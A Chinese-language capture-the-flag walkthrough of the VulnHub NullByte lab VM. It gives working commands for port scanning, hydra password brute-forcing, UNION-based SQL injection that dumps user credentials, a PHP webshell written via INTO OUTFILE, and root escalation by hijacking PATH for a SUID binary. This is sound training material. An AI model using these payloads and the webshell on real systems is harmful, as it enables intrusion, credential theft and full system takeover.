靶机下载:https://download.vulnhub.com/nullbyte/NullByte.ova.zip
一、信息收集
搭建好靶机后,桥接模式,扫描网段,确定靶机IP
nmap -sn 192.168.212.0/24
扫描端口
nmap --min-rate 10000 -p- 192.168.212.158
对端口信息收集
nmap -sT -sV -O -sC -p80,111,777,60723 192.168.212.158
发现ssh服务端口号改成了777,并且有rpc服务,扫描udp连接
nmap -sU --min-rate 10000 -p- 192.168.212.158
使用nmap默认脚本,检测
nmap --script=vuln -p80,111,777,60723,5353,34733 192.168.212.158
二、web渗透
访问web看看利用点
一张图,和一句话,看网页源码,啥都没有,扫一下目录
有一个phpmyadmin和一个upload
尝试弱口令无果,根据web页面的那句话,这里是个靶场,我们可以看看图片,有没有突破口
http://192.168.212.158/main.gif
对图片进行信息收集
file main.gif //判断是否真是gif格式
exiftool main.gif //读取图像文件的元数据
strings main.gif //提取图像中的字符串
得到kzMb5nVYJw,第一眼感觉像是密码,试了phpadmin和ssh都不能用,这种字符串也有可能是web目录,尝试访问
看一个输入框,尝试弱口令和sql语句,没有成功,看一下源码
提示我们没有连数据库,不用考虑sql了,上字典,这里用hydra进行爆破,字典是rockyou,设置好表单格式
hydra 192.168.212.158 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l sss -P /usr/share/wordlists/rockyou.txt
爆破出密码,登录一下
打个"
,有报错,尝试sql注入,判断列数
1" group by 3 -- +
group by 3
不报错,4报错,判断为3列
判断回显位置
1" union select 1,2,3 -- +
查数据库、数据库版本、当前登录用户
1" union select database(),@@version,user() -- +
后面不赘述,一样是查库、表、列,暴数据
" union select table_schema, 2, 3 from information_schema.tables -- +
" union select table_name,2,3 from information_schema.tables where table_schema = "seth" -- +
" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- +
" union select id, user, pass from users -- +
得到一串字符,一眼base64,解密一下
echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d
得到一串字符,看上去像md5
hash-identifier 'c6d6bd7ebf806f43c76acc3681703b81'
解密一下
ssh登录一下
ssh ramses@192.168.212.158 -p 777 指定端口
sql注入其它利用
into outfile写入shell
前提条件
1、secure_file_priv参数为空
2、知道绝对路径
常见的web目录 /var/www/html
我们知道有个uploads目录
" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- +
写入后访问
这里直接能写webshell,上管理工具
这个靶场还有一个思路
这个页面暴露了这个页面后端交互的php文件,因为这个页面和数据库有交互,极有可能有数据库账号密码
查看这个文件,使用curl
curl http://192.168.212.158/uploads/shell.php?a=cat /var/www/html/kzMb5nVYJw/420search.php
找到数据库账号密码,可以尝试登录phpmyadmin,写入shell
phpmyadmin getshell
实习的时候有复现过 phpmyadmin getshell 大概说一下
常见方式:1、全局日志文件写 shell 2、慢查询写入shell 3、创建数据库和表写入shell 4、into outfile写入shell
条件1、secure_file_priv参数为空 2、知道绝对路径 3、有写入权限
sqlmap一把梭
正常情况下,测到sql注入,没有waf基本上都选择一把梭
sqlmap -u 'http://192.168.212.158/kzMb5nVYJw/420search.php?usrtosearch=' --dump
权限提升
常规信息收集
uname -a
sudo -l
cat /etc/crontab
find / -user root -perm -4000 -print 2>/dev/null
没啥明显利用的点 这种情况要么打内核提权,要么看看别的信息
看一下历史命令
可以发现运行了/var/www/backup/procwatch
cd /var/www/backup
ls -la
发现这个文件有s权限,即所属者权限,所属者是root ,执行一下这个文件
这个文件执行ps命令
建立一个软连接,将ps链接到/bin/sh,在执行procwatch的时候,就会执行root的sh (所有命令在当前backup目录下执行)
ln -s /bin/sh ps
ls -la
修改环境变量export PATH=.:$PATH
echo $PATH
./procwatch
成功提权至root
靶机不难,主要是把sql注入利用写一下